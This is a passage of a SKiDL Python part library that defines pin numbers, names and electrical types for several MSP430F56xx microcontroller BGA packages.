Pin(num='C4',name='P6.3/CB3/A3',func=Pin.BIDIR,do_erc=True),
Pin(num='D4',name='PJ.1/TDI/TCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='E4',name='P4.7',func=Pin.BIDIR,do_erc=True),
Pin(num='F4',name='PM_UCB1CLK/PM_UCA1STE/P4.3',func=Pin.BIDIR,do_erc=True),
Pin(num='G4',name='PM_UCB1SOMI/PM_UCB1SCL/P4.2',func=Pin.BIDIR,do_erc=True),
Pin(num='H4',name='PM_UCB1SIMO/PM_UCB1SDA/P4.1',func=Pin.BIDIR,do_erc=True),
Pin(num='A5',name='P5.4/XIN',func=Pin.BIDIR,do_erc=True),
Pin(num='B5',name='P5.1/A9/VREF-/VeREF-',func=Pin.BIDIR,do_erc=True),
Pin(num='C5',name='P6.7/CB7/A7',func=Pin.BIDIR,do_erc=True),
Pin(num='D5',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='E5',name='TA1.1/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='F5',name='PM_UCB1STE/PM_UCA1CLK/P4.0',func=Pin.BIDIR,do_erc=True),
Pin(num='G5',name='UCA0RXD/UCA0SOMI/P3.4',func=Pin.BIDIR,do_erc=True),
Pin(num='H5',name='DVCC2',func=Pin.PWRIN,do_erc=True),
Pin(num='A6',name='P5.5/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='B6',name='TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='C6',name='TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='D6',name='TA0.4/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='E6',name='TA2.0/P2.3',func=Pin.BIDIR,do_erc=True),
Pin(num='F6',name='RTCCLK/DMAE0/P2.6',func=Pin.BIDIR,do_erc=True),
Pin(num='G6',name='UCA0TXD/UCA0SIMO/P3.3',func=Pin.BIDIR,do_erc=True),
Pin(num='H6',name='DVSS2',func=Pin.PWRIN,do_erc=True),
Pin(num='A7',name='DVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='B7',name='TA0CLK/ACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='C7',name='TA0.3/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='D7',name='TA1CLK/CBOUT/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='E7',name='TA2CLK/SMCLK/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='F7',name='TA2.2/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='G7',name='UCB0CLK/UCA0STE/P3.2',func=Pin.BIDIR,do_erc=True),
Pin(num='H7',name='UCB0SOMI/UCB0SCL/P3.1',func=Pin.BIDIR,do_erc=True),
Pin(num='A8',name='DVSS1',func=Pin.PWRIN,do_erc=True),
Pin(num='B8',name='VCORE',func=Pin.BIDIR,do_erc=True),
Pin(num='C8',name='TA0.2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='D8',name='TA1.0/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='E8',name='TA1.2/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='F8',name='TA2.1/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='G8',name='UCB0SIMO/UCB0SDA/P3.0',func=Pin.BIDIR,do_erc=True),
Pin(num='H8',name='UCB0STE/UCA0CLK/P2.7',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430F5630IZQW',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='113ball BGA, 256KB Flash Memory, 16 + 2KB RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F5631IZQW', 'MSP430F5632IZQW'],pins=[
Pin(num='A1',name='P6.4/CB4',func=Pin.BIDIR,do_erc=True),
Pin(num='B1',name='P6.6/CB6',func=Pin.BIDIR,do_erc=True),
Pin(num='C1',name='P7.4/CB8',func=Pin.BIDIR,do_erc=True),
Pin(num='D1',name='P7.7/CB11',func=Pin.BIDIR,do_erc=True),
Pin(num='E1',name='AVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='F1',name='XIN',func=Pin.BIDIR,do_erc=True),
Pin(num='G1',name='XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='H1',name='DMAE0/P5.6',func=Pin.BIDIR,do_erc=True),
Pin(num='J1',name='P2MAP2/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='K1',name='P2MAP5/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='L1',name='DVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='M1',name='DVSS1',func=Pin.PWRIN,do_erc=True),
Pin(num='A2',name='P6.2/CB2',func=Pin.BIDIR,do_erc=True),
Pin(num='B2',name='P6.5/CB5',func=Pin.BIDIR,do_erc=True),
Pin(num='C2',name='P6.7/CB7',func=Pin.BIDIR,do_erc=True),
Pin(num='D2',name='P7.6/CB10',func=Pin.BIDIR,do_erc=True),
Pin(num='E2',name='AVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='F2',name='AVSS1',func=Pin.PWRIN,do_erc=True),
Pin(num='G2',name='AVSS2',func=Pin.PWRIN,do_erc=True),
Pin(num='H2',name='P2MAP1/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='J2',name='P2MAP4/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='K2',name='P2MAP6/P2.6',func=Pin.BIDIR,do_erc=True),
Pin(num='L2',name='P2MAP7/P2.7',func=Pin.BIDIR,do_erc=True),
Pin(num='M2',name='VCORE',func=Pin.BIDIR,do_erc=True),
Pin(num='A3',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='B3',name='P6.1/CB1',func=Pin.BIDIR,do_erc=True),
Pin(num='C3',name='P7.5/CB9',func=Pin.BIDIR,do_erc=True),
Pin(num='L3',name='P5.2',func=Pin.BIDIR,do_erc=True),
Pin(num='M3',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='A4',name='PJ.1/TDI/TCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='B4',name='P6.0/CB0',func=Pin.BIDIR,do_erc=True),
Pin(num='D4',name='VREF+/VeREF+/P5.0',func=Pin.BIDIR,do_erc=True),
Pin(num='E4',name='VREF-/VeREF-/P5.1',func=Pin.BIDIR,do_erc=True),
Pin(num='F4',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='G4',name='P2MAP0/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='H4',name='P2MAP3/P2.3',func=Pin.BIDIR,do_erc=True),
Pin(num='L4',name='P5.3',func=Pin.BIDIR,do_erc=True),
Pin(num='M4',name='P5.4',func=Pin.BIDIR,do_erc=True),
Pin(num='A5',name='DVSS3',func=Pin.PWRIN,do_erc=True),
Pin(num='B5',name='PJ.0/TDO',func=Pin.BIDIR,do_erc=True),
Pin(num='D5',name='P6.3/CB3',func=Pin.BIDIR,do_erc=True),
Pin(num='E5',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='F5',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='G5',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='H5',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='J5',name='P5.5',func=Pin.BIDIR,do_erc=True),
Pin(num='L5',name='TA0CLK/ACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='M5',name='TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='A6',name='DVCC3',func=Pin.PWRIN,do_erc=True),
Pin(num='B6',name='SBWTCK/TEST',do_erc=True),
Pin(num='D6',name='PJ.3/TCK',func=Pin.BIDIR,do_erc=True),
Pin(num='E6',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='H6',name='TA0.2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='J6',name='TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='L6',name='TA0.4/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='M6',name='TA0.3/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='A7',name='VBAK',func=Pin.BIDIR,do_erc=True),
Pin(num='B7',name='P7.3/XT2OUT',func=Pin.BIDIR,do_erc=True),
Pin(num='D7',name='RTCCLK/P5.7',func=Pin.BIDIR,do_erc=True),
Pin(num='E7',name='PJ.2/TMS',func=Pin.BIDIR,do_erc=True),
Pin(num='H7',name='TA1.0/P3.1',func=Pin.BIDIR,do_erc=True),
Pin(num='J7',name='TA0.1/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='L7',name='TA1CLK/CBOUT/P3.0',func=Pin.BIDIR,do_erc=True),
Pin(num='M7',name='TA0.2/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='A8',name='AVSS3',func=Pin.PWRIN,do_erc=True),
Pin(num='B8',name='P7.2/XT2IN',func=Pin.BIDIR,do_erc=True),
Pin(num='D8',name='VBAT',func=Pin.BIDIR,do_erc=True),
Pin(num='E8',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='F8',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='G8',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='H8',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='J8',name='TA2CLK/SMCLK/P3.4',func=Pin.BIDIR,do_erc=True),
Pin(num='L8',name='TA1.2/P3.3',func=Pin.BIDIR,do_erc=True),
Pin(num='M8',name='TA1.1/P3.2',func=Pin.BIDIR,do_erc=True),
Pin(num='A9',name='VUSB',func=Pin.BIDIR,do_erc=True),
Pin(num='B9',name='V18',func=Pin.NOCONNECT,do_erc=True),
Pin(num='D9',name='P9.7',func=Pin.BIDIR,do_erc=True),
Pin(num='E9',name='P9.4',func=Pin.BIDIR,do_erc=True),
Pin(num='F9',name='P9.1',func=Pin.BIDIR,do_erc=True),
Pin(num='G9',name='P8.6/UCB1SOMI/UCB1SCL',func=Pin.BIDIR,do_erc=True),
Pin(num='H9',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='J9',name='TB0.0/P4.0',func=Pin.BIDIR,do_erc=True),
Pin(num='L9',name='TA2.1/P3.6',func=Pin.BIDIR,do_erc=True),
Pin(num='M9',name='TA2.0/P3.5',func=Pin.BIDIR,do_erc=True),
Pin(num='A10',name='VBUS',func=Pin.BIDIR,do_erc=True),
Pin(num='B10',name='PUR',func=Pin.BIDIR,do_erc=True),
Pin(num='L10',name='TB0.2/P4.2',func=Pin.BIDIR,do_erc=True),
Pin(num='M10',name='TA2.2/P3.7',func=Pin.BIDIR,do_erc=True),
Pin(num='A11',name='PU.1/DM',func=Pin.BIDIR,do_erc=True),
Pin(num='B11',name='VSSU',func=Pin.PWRIN,do_erc=True),
Pin(num='C11',name='P9.6',func=Pin.BIDIR,do_erc=True),
Pin(num='D11',name='P9.3',func=Pin.BIDIR,do_erc=True),
Pin(num='E11',name='P9.0',func=Pin.BIDIR,do_erc=True),
Pin(num='F11',name='P8.5/UCB1SIMO/UCB1SDA',func=Pin.BIDIR,do_erc=True),
Pin(num='G11',name='P8.4/UCB1CLK/UCA1STE',func=Pin.BIDIR,do_erc=True),
Pin(num='H11',name='P8.2/UCA1TXD/UCA1SIMO',func=Pin.BIDIR,do_erc=True),
Pin(num='J11',name='P8.0/TB0CLK',func=Pin.BIDIR,do_erc=True),
Pin(num='K11',name='TB0.6/P4.6',func=Pin.BIDIR,do_erc=True),
Pin(num='L11',name='TB0.5/P4.5',func=Pin.BIDIR,do_erc=True),
Pin(num='M11',name='TB0.1/P4.1',func=Pin.BIDIR,do_erc=True),
Pin(num='A12',name='PU.0/DP',func=Pin.BIDIR,do_erc=True),
Pin(num='B12',name='VSSU',func=Pin.PWRIN,do_erc=True),
Pin(num='C12',name='P9.5',func=Pin.BIDIR,do_erc=True),
Pin(num='D12',name='P9.2',func=Pin.BIDIR,do_erc=True),
Pin(num='E12',name='P8.7',func=Pin.BIDIR,do_erc=True),
Pin(num='F12',name='DVCC2',func=Pin.PWRIN,do_erc=True),
Pin(num='G12',name='DVSS2',func=Pin.PWRIN,do_erc=True),
Pin(num='H12',name='P8.3/UCA1RXD/UCA1SOMI',func=Pin.BIDIR,do_erc=True),
Pin(num='J12',name='P8.1/UCB1STE/UCA1CLK',func=Pin.BIDIR,do_erc=True),
Pin(num='K12',name='TB0OUTH/SVMOUT/P4.7',func=Pin.BIDIR,do_erc=True),
Pin(num='L12',name='TB0.4/P4.4',func=Pin.BIDIR,do_erc=True),
Pin(num='M12',name='TB0.3/P4.3',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430F5633IZQW',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='113ball BGA, 256KB Flash Memory, 16 + 2KB RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F5634IZQW', 'MSP430F5635IZQW'],pins=[
Pin(num='A1',name='P6.4/CB4/A4',func=Pin.BIDIR,do_erc=True),
Pin(num='B1',name='P6.6/CB6/A6',func=Pin.BIDIR,do_erc=True),
Pin(num='C1',name='P7.4/CB8/A12',func=Pin.BIDIR,do_erc=True),
Pin(num='D1',name='P7.7/CB11/A15',func=Pin.BIDIR,do_erc=True),
Pin(num='E1',name='AVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='F1',name='XIN',func=Pin.BIDIR,do_erc=True),
Pin(num='G1',name='XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='H1',name='ADC12CLK/DMAE0/P5.6',func=Pin.BIDIR,do_erc=True),
Pin(num='J1',name='P2MAP2/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='K1',name='P2MAP5/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='L1',name='DVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='M1',name='DVSS1',func=Pin.PWRIN,do_erc=True),
Pin(num='A2',name='P6.2/CB2/A2',func=Pin.BIDIR,do_erc=True),
Pin(num='B2',name='P6.5/CB5/A5',func=Pin.BIDIR,do_erc=True),
Pin(num='C2',name='P6.7/CB7/A7',func=Pin.BIDIR,do_erc=True),
Pin(num='D2',name='P7.6/CB10/A14',func=Pin.BIDIR,do_erc=True),
Pin(num='E2',name='AVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='F2',name='AVSS1',func=Pin.PWRIN,do_erc=True),
Pin(num='G2',name='AVSS2',func=Pin.PWRIN,do_erc=True),
Pin(num='H2',name='P2MAP1/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='J2',name='P2MAP4/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='K2',name='P2MAP6/P2.6',func=Pin.BIDIR,do_erc=True),
Pin(num='L2',name='P2MAP7/P2.7',func=Pin.BIDIR,do_erc=True),
Pin(num='M2',name='VCORE',func=Pin.BIDIR,do_erc=True),
Pin(num='A3',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='B3',name='P6.1/CB1/A1',func=Pin.BIDIR,do_erc=True),
Pin(num='C3',name='P7.5/CB9/A13',func=Pin.BIDIR,do_erc=True),
Pin(num='L3',name='P5.2',func=Pin.BIDIR,do_erc=True),
Pin(num='M3',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='A4',name='PJ.1/TDI/TCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='B4',name='P6.0/CB0/A0',func=Pin.BIDIR,do_erc=True),
Pin(num='D4',name='VREF+/VeREF+/P5.0',func=Pin.BIDIR,do_erc=True),
Pin(num='E4',name='VREF-/VeREF-/P5.1',func=Pin.BIDIR,do_erc=True),
Pin(num='F4',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='G4',name='P2MAP0/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='H4',name='P2MAP3/P2.3',func=Pin.BIDIR,do_erc=True),
Pin(num='L4',name='P5.3',func=Pin.BIDIR,do_erc=True),
Pin(num='M4',name='P5.4',func=Pin.BIDIR,do_erc=True),
Pin(num='A5',name='DVSS3',func=Pin.PWRIN,do_erc=True),
Pin(num='B5',name='PJ.0/TDO',func=Pin.BIDIR,do_erc=True),
Pin(num='D5',name='P6.3/CB3/A3',func=Pin.BIDIR,do_erc=True),
Pin(num='E5',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='F5',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='G5',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='H5',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='J5',name='P5.5',func=Pin.BIDIR,do_erc=True),
Pin(num='L5',name='TA0CLK/ACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='M5',name='TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='A6',name='DVCC3',func=Pin.PWRIN,do_erc=True),
Pin(num='B6',name='SBWTCK/TEST',do_erc=True),
Pin(num='D6',name='PJ.3/TCK',func=Pin.BIDIR,do_erc=True),
Pin(num='E6',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='H6',name='TA0.2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='J6',name='TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='L6',name='TA0.4/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='M6',name='TA0.3/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='A7',name='VBAK',func=Pin.BIDIR,do_erc=True),
Pin(num='B7',name='P7.3/XT2OUT',func=Pin.BIDIR,do_erc=True),
Pin(num='D7',name='RTCCLK/P5.7',func=Pin.BIDIR,do_erc=True),
Pin(num='E7',name='PJ.2/TMS',func=Pin.BIDIR,do_erc=True),
Pin(num='H7',name='TA1.0/P3.1',func=Pin.BIDIR,do_erc=True),
Pin(num='J7',name='TA0.1/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='L7',name='TA1CLK/CBOUT/P3.0',func=Pin.BIDIR,do_erc=True),
Pin(num='M7',name='TA0.2/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='A8',name='AVSS3',func=Pin.PWRIN,do_erc=True),
Pin(num='B8',name='P7.2/XT2IN',func=Pin.BIDIR,do_erc=True),
Pin(num='D8',name='VBAT',func=Pin.BIDIR,do_erc=True),
Pin(num='E8',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='F8',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='G8',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='H8',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='J8',name='TA2CLK/SMCLK/P3.4',func=Pin.BIDIR,do_erc=True),
Pin(num='L8',name='TA1.2/P3.3',func=Pin.BIDIR,do_erc=True),
Pin(num='M8',name='TA1.1/P3.2',func=Pin.BIDIR,do_erc=True),
Pin(num='A9',name='VUSB',func=Pin.BIDIR,do_erc=True),
Pin(num='B9',name='V18',func=Pin.NOCONNECT,do_erc=True),
Pin(num='D9',name='P9.7',func=Pin.BIDIR,do_erc=True),
Pin(num='E9',name='P9.4',func=Pin.BIDIR,do_erc=True),
Pin(num='F9',name='P9.1',func=Pin.BIDIR,do_erc=True),
Pin(num='G9',name='P8.6/UCB1SOMI/UCB1SCL',func=Pin.BIDIR,do_erc=True),
Pin(num='H9',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='J9',name='TB0.0/P4.0',func=Pin.BIDIR,do_erc=True),
Pin(num='L9',name='TA2.1/P3.6',func=Pin.BIDIR,do_erc=True),
Pin(num='M9',name='TA2.0/P3.5',func=Pin.BIDIR,do_erc=True),
Pin(num='A10',name='VBUS',func=Pin.BIDIR,do_erc=True),
Pin(num='B10',name='PUR',func=Pin.BIDIR,do_erc=True),
Pin(num='L10',name='TB0.2/P4.2',func=Pin.BIDIR,do_erc=True),
Pin(num='M10',name='TA2.2/P3.7',func=Pin.BIDIR,do_erc=True),
Pin(num='A11',name='PU.1/DM',func=Pin.BIDIR,do_erc=True),
Pin(num='B11',name='VSSU',func=Pin.PWRIN,do_erc=True),
Pin(num='C11',name='P9.6',func=Pin.BIDIR,do_erc=True),
Pin(num='D11',name='P9.3',func=Pin.BIDIR,do_erc=True),
Pin(num='E11',name='P9.0',func=Pin.BIDIR,do_erc=True),
Pin(num='F11',name='P8.5/UCB1SIMO/UCB1SDA',func=Pin.BIDIR,do_erc=True),
Pin(num='G11',name='P8.4/UCB1CLK/UCA1STE',func=Pin.BIDIR,do_erc=True),
Pin(num='H11',name='P8.2/UCA1TXD/UCA1SIMO',func=Pin.BIDIR,do_erc=True),
Pin(num='J11',name='P8.0/TB0CLK',func=Pin.BIDIR,do_erc=True),
Pin(num='K11',name='TB0.6/P4.6',func=Pin.BIDIR,do_erc=True),
Pin(num='L11',name='TB0.5/P4.5',func=Pin.BIDIR,do_erc=True),
Pin(num='M11',name='TB0.1/P4.1',func=Pin.BIDIR,do_erc=True),
Pin(num='A12',name='PU.0/DP',func=Pin.BIDIR,do_erc=True),
Pin(num='B12',name='VSSU',func=Pin.PWRIN,do_erc=True),
Pin(num='C12',name='P9.5',func=Pin.BIDIR,do_erc=True),
Pin(num='D12',name='P9.2',func=Pin.BIDIR,do_erc=True),
Pin(num='E12',name='P8.7',func=Pin.BIDIR,do_erc=True),
Pin(num='F12',name='DVCC2',func=Pin.PWRIN,do_erc=True),
Pin(num='G12',name='DVSS2',func=Pin.PWRIN,do_erc=True),
Pin(num='H12',name='P8.3/UCA1RXD/UCA1SOMI',func=Pin.BIDIR,do_erc=True),
Pin(num='J12',name='P8.1/UCB1STE/UCA1CLK',func=Pin.BIDIR,do_erc=True),
Pin(num='K12',name='TB0OUTH/SVMOUT/P4.7',func=Pin.BIDIR,do_erc=True),
Pin(num='L12',name='TB0.4/P4.4',func=Pin.BIDIR,do_erc=True),
Pin(num='M12',name='TB0.3/P4.3',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430F5636IZQW',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='113ball BGA, 256KB Flash Memory, 16 + 2KB RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F5637IZQW', 'MSP430F5638IZQW'],pins=[
Pin(num='A1',name='P6.4/CB4/A4',func=Pin.BIDIR,do_erc=True),
Pin(num='B1',name='P6.6/CB6/A6/DAC0',func=Pin.BIDIR,do_erc=True),
Pin(num='C1',name='P7.4/CB8/A12',func=Pin.BIDIR,do_erc=True),
Pin(num='D1',name='P7.7/CB11/A15/DAC1',func=Pin.BIDIR,do_erc=True),
Pin(num='E1',name='AVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='F1',name='XIN',func=Pin.BIDIR,do_erc=True),
Pin(num='G1',name='XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='H1',name='ADC12CLK/DMAE0/P5.6',func=Pin.BIDIR,do_erc=True),
Pin(num='J1',name='P2MAP2/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='K1',name='P2MAP5/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='L1',name='DVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='M1',name='DVSS1',func=Pin.PWRIN,do_erc=True),
Pin(num='A2',name='P6.2/CB2/A2',func=Pin.BIDIR,do_erc=True),
Pin(num='B2',name='P6.5/CB5/A5',func=Pin.BIDIR,do_erc=True),
Pin(num='C2',name='P6.7/CB7/A7/DAC1',func=Pin.BIDIR,do_erc=True),
Pin(num='D2',name='P7.6/CB10/A14/DAC0',func=Pin.BIDIR,do_erc=True),
Pin(num='E2',name='AVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='F2',name='AVSS1',func=Pin.PWRIN,do_erc=True),
Pin(num='G2',name='AVSS2',func=Pin.PWRIN,do_erc=True),
Pin(num='H2',name='P2MAP1/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='J2',name='P2MAP4/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='K2',name='P2MAP6/P2.6',func=Pin.BIDIR,do_erc=True),
Pin(num='L2',name='P2MAP7/P2.7',func=Pin.BIDIR,do_erc=True),
Pin(num='M2',name='VCORE',func=Pin.BIDIR,do_erc=True),
Pin(num='A3',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='B3',name='P6.1/CB1/A1',func=Pin.BIDIR,do_erc=True),
Pin(num='C3',name='P7.5/CB9/A13',func=Pin.BIDIR,do_erc=True),
Pin(num='L3',name='P5.2',func=Pin.BIDIR,do_erc=True),
Pin(num='M3',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='A4',name='PJ.1/TDI/TCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='B4',name='P6.0/CB0/A0',func=Pin.BIDIR,do_erc=True),
Pin(num='D4',name='VREF+/VeREF+/P5.0',func=Pin.BIDIR,do_erc=True),
Pin(num='E4',name='VREF-/VeREF-/P5.1',func=Pin.BIDIR,do_erc=True),
Pin(num='F4',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='G4',name='P2MAP0/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='H4',name='P2MAP3/P2.3',func=Pin.BIDIR,do_erc=True),
Pin(num='L4',name='P5.3',func=Pin.BIDIR,do_erc=True),
Pin(num='M4',name='P5.4',func=Pin.BIDIR,do_erc=True),
Pin(num='A5',name='DVSS3',func=Pin.PWRIN,do_erc=True),
Pin(num='B5',name='PJ.0/TDO',func=Pin.BIDIR,do_erc=True),
Pin(num='D5',name='P6.3/CB3/A3',func=Pin.BIDIR,do_erc=True),
Pin(num='E5',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='F5',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='G5',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='H5',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='J5',name='P5.5',func=Pin.BIDIR,do_erc=True),
Pin(num='L5',name='TA0CLK/ACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='M5',name='TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='A6',name='DVCC3',func=Pin.PWRIN,do_erc=True),
Pin(num='B6',name='SBWTCK/TEST',do_erc=True),
Pin(num='D6',name='PJ.3/TCK',func=Pin.BIDIR,do_erc=True),
Pin(num='E6',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='H6',name='TA0.2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='J6',name='TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='L6',name='TA0.4/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='M6',name='TA0.3/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='A7',name='VBAK',func=Pin.BIDIR,do_erc=True),
Pin(num='B7',name='P7.3/XT2OUT',func=Pin.BIDIR,do_erc=True),
Pin(num='D7',name='RTCCLK/P5.7',func=Pin.BIDIR,do_erc=True),
Pin(num='E7',name='PJ.2/TMS',func=Pin.BIDIR,do_erc=True),
Pin(num='H7',name='TA1.0/P3.1',func=Pin.BIDIR,do_erc=True),
Pin(num='J7',name='TA0.1/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='L7',name='TA1CLK/CBOUT/P3.0',func=Pin.BIDIR,do_erc=True),
Pin(num='M7',name='TA0.2/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='A8',name='AVSS3',func=Pin.PWRIN,do_erc=True),
Pin(num='B8',name='P7.2/XT2IN',func=Pin.BIDIR,do_erc=True),
Pin(num='D8',name='VBAT',func=Pin.BIDIR,do_erc=True),
Pin(num='E8',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='F8',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='G8',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='H8',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='J8',name='TA2CLK/SMCLK/P3.4',func=Pin.BIDIR,do_erc=True),
Pin(num='L8',name='TA1.2/P3.3',func=Pin.BIDIR,do_erc=True),
Pin(num='M8',name='TA1.1/P3.2',func=Pin.BIDIR,do_erc=True),
Pin(num='A9',name='VUSB',func=Pin.BIDIR,do_erc=True),
Pin(num='B9',name='V18',func=Pin.NOCONNECT,do_erc=True),
Pin(num='D9',name='P9.7',func=Pin.BIDIR,do_erc=True),
Pin(num='E9',name='P9.4',func=Pin.BIDIR,do_erc=True),
Pin(num='F9',name='P9.1',func=Pin.BIDIR,do_erc=True),
Pin(num='G9',name='P8.6/UCB1SOMI/UCB1SCL',func=Pin.BIDIR,do_erc=True),
Pin(num='H9',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='J9',name='TB0.0/P4.0',func=Pin.BIDIR,do_erc=True),
Pin(num='L9',name='TA2.1/P3.6',func=Pin.BIDIR,do_erc=True),
Pin(num='M9',name='TA2.0/P3.5',func=Pin.BIDIR,do_erc=True),
Pin(num='A10',name='VBUS',func=Pin.BIDIR,do_erc=True),
Pin(num='B10',name='PUR',func=Pin.BIDIR,do_erc=True),
Pin(num='L10',name='TB0.2/P4.2',func=Pin.BIDIR,do_erc=True),
Pin(num='M10',name='TA2.2/P3.7',func=Pin.BIDIR,do_erc=True),
Pin(num='A11',name='PU.1/DM',func=Pin.BIDIR,do_erc=True),
Pin(num='B11',name='VSSU',func=Pin.PWRIN,do_erc=True),
Pin(num='C11',name='P9.6',func=Pin.BIDIR,do_erc=True),
Pin(num='D11',name='P9.3',func=Pin.BIDIR,do_erc=True),
Pin(num='E11',name='P9.0',func=Pin.BIDIR,do_erc=True),
Pin(num='F11',name='P8.5/UCB1SIMO/UCB1SDA',func=Pin.BIDIR,do_erc=True),
